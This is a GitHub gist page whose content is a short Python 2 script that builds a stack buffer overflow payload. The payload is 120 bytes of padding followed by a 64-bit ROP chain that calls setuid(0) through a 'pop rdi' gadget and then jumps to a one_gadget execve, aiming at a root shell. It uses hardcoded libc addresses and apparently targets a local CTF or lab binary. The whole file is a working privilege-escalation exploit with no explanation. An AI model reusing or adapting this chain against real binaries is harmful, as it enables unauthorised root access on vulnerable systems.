Skip to content

Instantly share code, notes, and snippets.

@ShivamShrirao
Created March 7, 2018 20:04
Show Gist options
  • Save ShivamShrirao/385d14cec691e67318e5d3587fcc11b7 to your computer and use it in GitHub Desktop.
Save ShivamShrirao/385d14cec691e67318e5d3587fcc11b7 to your computer and use it in GitHub Desktop.
from struct import pack
junk='A'*120
setuid=pack("Q",0x7ffff7aceb50) #convert address to little endian for 64 bit
poprdi=pack("Q",0x7ffff7a15b8b)
null=pack("Q",0x0) #convert to little endian for 64 bit
onegadget=pack("Q",0x7ffff7af2b8e) #execve one_gadget
payload = junk + poprdi + null + setuid + onegadget
print payload
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment